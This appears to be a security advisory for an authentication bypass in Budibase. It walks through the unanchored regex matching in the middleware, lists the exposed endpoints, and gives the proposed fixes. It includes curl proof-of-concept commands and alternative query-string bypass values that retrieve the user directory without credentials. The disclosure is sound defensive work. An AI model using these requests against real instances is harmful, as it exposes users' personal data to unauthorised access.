| Package | Affected versions | Patched versions |
|---|---|---|
| budibase | < 3.35.4 | 3.35.4 |
| @budibase/backend-core | ≤ 3.35.3 |
The authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL.
Step 1 — Public endpoint patterns compiled without anchors
packages/backend-core/src/middleware/matchers.ts, line 26:
return { regex: new RegExp(route), method, route }
No ^ prefix, no $ suffix. The regex matches anywhere in the test string.
Step 2 — Regex tested against full URL including query string
packages/backend-core/src/middleware/matchers.ts, line 32:
const urlMatch = regex.test(ctx.request.url)
Koa's ctx.request.url returns the full URL including query string (e.g., /api/global/users/search?x=/api/system/status). The regex /api/system/status matches in the query string.
Step 3 — publicEndpoint flag set to true
packages/backend-core/src/middleware/authenticated.ts, lines 123-125:
const found = matches(ctx, noAuthOptions)
if (found) {
publicEndpoint = true
}
Step 4 — Worker's global auth check skipped
packages/worker/src/api/index.ts, lines 160-162:
.use((ctx, next) => {
if (ctx.publicEndpoint) {
return next() // ← SKIPS the auth check below
}
if ((!ctx.isAuthenticated || ...) && !ctx.internal) {
ctx.throw(403, "Unauthorized") // ← never reached
}
})
When ctx.publicEndpoint is true, the 403 check at line 165-168 is never executed.
Step 5 — Routes without per-route auth middleware are exposed
loggedInRoutes in packages/worker/src/api/routes/endpointGroups/standard.ts line 23:
export const loggedInRoutes = endpointGroupList.group() // no middleware
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeEndpoints on loggedInRoutes have NO secondary auth check. The global check at index.ts:160-169 was their only protection.
Affected endpoints (no per-route auth — fully exposed):
POST /api/global/users/search — search all users (emails, names, roles)GET /api/global/self — get current user infoGET /api/global/users/accountholder — account holder lookupGET /api/global/template/definitions — template definitionsPOST /api/global/license/refresh — refresh licensePOST /api/global/event/publish — publish eventsNot affected (have secondary per-route auth that blocks undefined user):
GET /api/global/users — on builderOrAdminRoutes which checks isAdmin(ctx.user) → returns false for undefined → throws 403DELETE /api/global/users/:id — on adminRoutes → same secondary check blocks it# Step 1: Confirm normal request is blocked
$ curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search"
403
# Step 2: Bypass auth via query string injection
$ curl -s -X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search?x=/api/system/status"
{"data":[{"email":"[email protected]","admin":{"global":true},...}],...}
Without auth → 403. With ?x=/api/system/status → returns all users.
Any public endpoint pattern works as the bypass value:
?x=/api/system/status?x=/api/system/environment?x=/api/global/configs/public?x=/api/global/auth/defaultAn unauthenticated attacker can:
/api/global/users/search/api/global/users/accountholder/api/global/license/refresh/api/global/event/publishThe user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet.
Note: endpoints on builderOrAdminRoutes and adminRoutes are NOT affected because they have secondary middleware (workspaceBuilderOrAdmin, adminOnly) that independently checks ctx.user and throws 403 when it's undefined. Only loggedInRoutes endpoints (which rely solely on the global auth check) are exposed.
Two options (both should be applied):
Option A — Anchor the regex:
// matchers.ts line 26
return { regex: new RegExp('^' + route + '(\\?|$)'), method, route }
Option B — Use ctx.request.path instead of ctx.request.url:
// matchers.ts line 32
const urlMatch = regex.test(ctx.request.path) // excludes query string